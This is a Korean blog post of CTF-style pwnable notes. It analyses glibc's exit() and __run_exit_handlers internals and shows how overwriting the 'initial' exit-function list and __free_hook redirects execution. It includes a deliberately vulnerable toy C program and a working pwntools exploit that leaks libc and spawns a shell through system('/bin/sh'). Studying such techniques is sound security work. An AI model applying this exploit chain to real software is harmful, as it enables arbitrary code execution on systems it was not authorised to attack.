티스토리 뷰

pwnable/정리

glibc exit.c analysis

ba0bab 2019. 11. 12. 11:29

exit()?

C에서 exit() 이라는 함수는, 현재의 C프로그램 자체를 완전 종료하는 기능을 가집니다.

exit()는 코드에서 직접 선언하여 사용할 수도 있지만, __libc_start_main()에서 main함수를 동작한 이후 마지막 단계에서 호출하기도 합니다.

ba0bab➤  disas 0x7ffff7a05ab0
Dump of assembler code for function __libc_start_main:
   0x00007ffff7a05ab0 <+0>:    push   r13
   0x00007ffff7a05ab2 <+2>:    push   r12
   0x00007ffff7a05ab4 <+4>:    xor    eax,eax
   ...
   ...
   ...
   0x00007ffff7a05b95 <+229>:    call   rax
   0x00007ffff7a05b97 <+231>:    mov    edi,eax
   0x00007ffff7a05b99 <+233>:    call   0x7ffff7a27120 <__GI_exit>

프로그램이 crash없이 정상종료하게 된다면 exit()가 결국 실행된다는 이야기가 됩니다.

exit()의 내부루틴을 통해 exploit하기

exit()는 프로그램의 마지막 종료 단계에서 call되기 때문에, exit()의 내부루틴을 잘 활용하면 프로그램의 실행 흐름을 바꿀 수 있습니다.

exit.c analysis

분석하기 앞서 exit.c 코드는 아래 링크에서 볼 수 있습니다.
Source code

exit()를 처음 호출 하게 되면 __run_exit_hadlers를 호출하게 됩니다.

 → 0x7ffff7a27120 <exit+0>         lea    rsi, [rip+0x3a85f1]        # 0x7ffff7dcf718 <__exit_funcs>
   0x7ffff7a27127 <exit+7>         sub    rsp, 0x8
   0x7ffff7a2712b <exit+11>        mov    ecx, 0x1
   0x7ffff7a27130 <exit+16>        mov    edx, 0x1
   0x7ffff7a27135 <exit+21>        call   0x7ffff7a26ed0 <__run_exit_handlers> ->호출
   0x7ffff7a2713a                  nop    WORD PTR [rax+rax*1+0x0]

그럼 __run_exit_handlers()내부를 보도록 하겠습니다.

while (cur->idx > 0)
{
  struct exit_function *const f = &cur->fns[--cur->idx];
  const uint64_t new_exitfn_called = __new_exitfn_called;
  /* Unlock the list while we call a foreign function.  */
  __libc_lock_unlock (__exit_funcs_lock);
  switch (f->flavor)
    {
      void (*atfct) (void);
      void (*onfct) (int status, void *arg);
      void (*cxafct) (void *arg, int status);
    case ef_free:
    case ef_us:
      break;
    case ef_on:
      onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (onfct);
#endif
      onfct (status, f->func.on.arg);
      break;
    case ef_at:
      atfct = f->func.at;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (atfct);
#endif
      atfct ();
      break;
    case ef_cxa:
      /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
         we must mark this function as ef_free.  */
      f->flavor = ef_free;
      cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (cxafct);
#endif
      cxafct (f->func.cxa.arg, status);
      break;
    }
  /* Re-lock again before looking at global state.  */
  __libc_lock_lock (__exit_funcs_lock);
  if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
    /* The last exit function, or another thread, has registered
       more exit functions.  Start the loop over.  */
    goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
   allocate element.  */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);
}

while문이 끝난 이후에,

*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
   allocate element.  */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);

cur->next가 NULL이 아니면 free(cur)을 진행합니다.

exit 내에 free가 있기 때문에 조건을 맞춰 __free_hook을 덮을 수 있다면 실행 흐름을 바꿀 수 있게 됩니다.

cur구조체를 확인해보겠습니다.

cur = *listp; listp가 뭘까요?

void attribute_hidden __run_exit_handlers (int status, 
struct exit_function_list **listp, bool run_list_atexit, bool run_dtors)

*listp__run_exit_handlers()에서 두번째 인자로 받는 이중포인터입니다.

listp는 exit_function_list라는 구조체 변수입니다.

exit_function_list는 exit.h에 정의되어 있고,

struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };

이런 구조를 가지고 있네요.

overwrite **listp(cur->idx, cur->next)

__run_exit_handlers()의 두번째 인자의 구조체를 overwrite할 수 있으면 결국 조건을 맞춰 free()를 호출 할 수 있게 됩니다.

exit()에서 __run_exit_handlers()를 콜할때 인자를 디버깅해보겠습니다.

 → 0x7ffff7a27120 <exit+0>         lea    rsi, [rip+0x3a85f1]        # 0x7ffff7dcf718 <__exit_funcs>
   0x7ffff7a27127 <exit+7>         sub    rsp, 0x8
   0x7ffff7a2712b <exit+11>        mov    ecx, 0x1
   0x7ffff7a27130 <exit+16>        mov    edx, 0x1
   0x7ffff7a27135 <exit+21>        call   0x7ffff7a26ed0 <__run_exit_handlers>

두 번째 인자인 rsi에 값을 넣어줍니다.
lea rsi, [rip+0x3a85f1] # 0x7ffff7dcf718 <__exit_funcs>

ba0bab➤  x/gx 0x7ffff7dcf718
0x7ffff7dcf718 <__exit_funcs>:    0x00007ffff7dd0d80
ba0bab➤  x/gx 0x00007ffff7dd0d80
0x7ffff7dd0d80 <initial>:    0x0000000000000000
ba0bab➤  

확인해보면 결국 *initial이 cur->next가 해당되고*(initial+8)이 cur->idx에 해당되게 됩니다.

initial구조체는 libc영역에 있기때문에 offset을 이용하여 값을 overwrite해주면 됩니다.

그렇게 조건을 맞춰주면 free가 사용됩니다!

중간정리

  1. __free_hook overwrite

  2. cur(initial)->idx 를 0 (while문이 동작하지 않도록 우회)

  3. cur(initial)->next가 NULL이 아니도록

solve prob

대충 문제를 만들어서 풀어보겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){
    char *buf=NULL;
    char condition[0x100]={0};
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    read(0, &buf, 8);
    puts((char*)buf);

    read(0, &buf, 8);
    read(0, (char*)buf, 8);

    read(0, &buf, 8);
    read(0, (char*)buf, 8);

    read(0, &buf, 8);
    read(0, (char*)buf, 8);
    return 0;
}

시나리오는

  1. libc leak
  2. cur->next overwrite
  3. cur->idx overwrite
  4. __free_hook overwrite
from pwn import *
import sys

try:
    server = int(sys.argv[1])
except:
    server = 0

if server == 0:
    s = process("exit")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elif server == 1:
    s = remote("", )
    #libc = ELF("")
e = ELF("exit")
#context.log_level = 'debug'

s.send(p64(e.got['read']))

read = u64(s.recv(6)+"\x00\x00")
libc_base = read - libc.symbols['read']

print(hex(libc_base))
magic = libc_base + 0x10a38c
main  = e.symbols['main'] 
initial = libc_base + 0x3ecd80
free_hook = libc_base + 0x3ed8e8 

s.send(p64(initial))
s.send("/bin/sh\x00")

s.send(p64(initial+8))
s.send(p64(0))

s.send(p64(free_hook))
s.send(p64(libc_base + libc.symbols['system']))
s.interactive()

cur->idx 사실 1이여도 상관없습니다.
while문이 돌면 조금 까다롭기 때문에 0으로 맞춰 우회하는 것입니다.

tips

분석하다보면 exit()이후에 __call_tls_dtors ();한 후에 _dl_fini로 들어가는데 여기서 분석하다보면 libc영역을 call하는 부분이 있어서 가젯으로 사용할 수 있습니다.

   0x00007ffff7de59e7 <+71>:    call   QWORD PTR [rip+0x21857b]        # 0x7ffff7ffdf68 <_rtld_global+3848>
   0x00007ffff7de59ed <+77>:    sub    r12,0x1
   0x00007ffff7de59f1 <+81>:    sub    rbx,0x90
   0x00007ffff7de59f8 <+88>:    cmp    r12,0xffffffffffffffff
   0x00007ffff7de59fc <+92>:    je     0x7ffff7de5bd0 <_dl_fini+560>
   0x00007ffff7de5a02 <+98>:    lea    rdi,[rip+0x217f5f]        # 0x7ffff7ffd968 <_rtld_global+2312>
   0x00007ffff7de5a09 <+105>:    call   QWORD PTR [rip+0x218551]        # 0x7ffff7ffdf60 <_rtld_global+3840>

reference

'pwnable > 정리' 카테고리의 다른 글

_IO_FILE Arbitrary Read & Write  (0) 2020.03.09
FSOP : File Stream Oriented Programming  (0) 2019.12.22
64bit fsb 정리  (0) 2019.11.06
libc_start_main leak  (0) 2018.09.13
kail tool pattern_create / offset  (0) 2018.09.06
Comments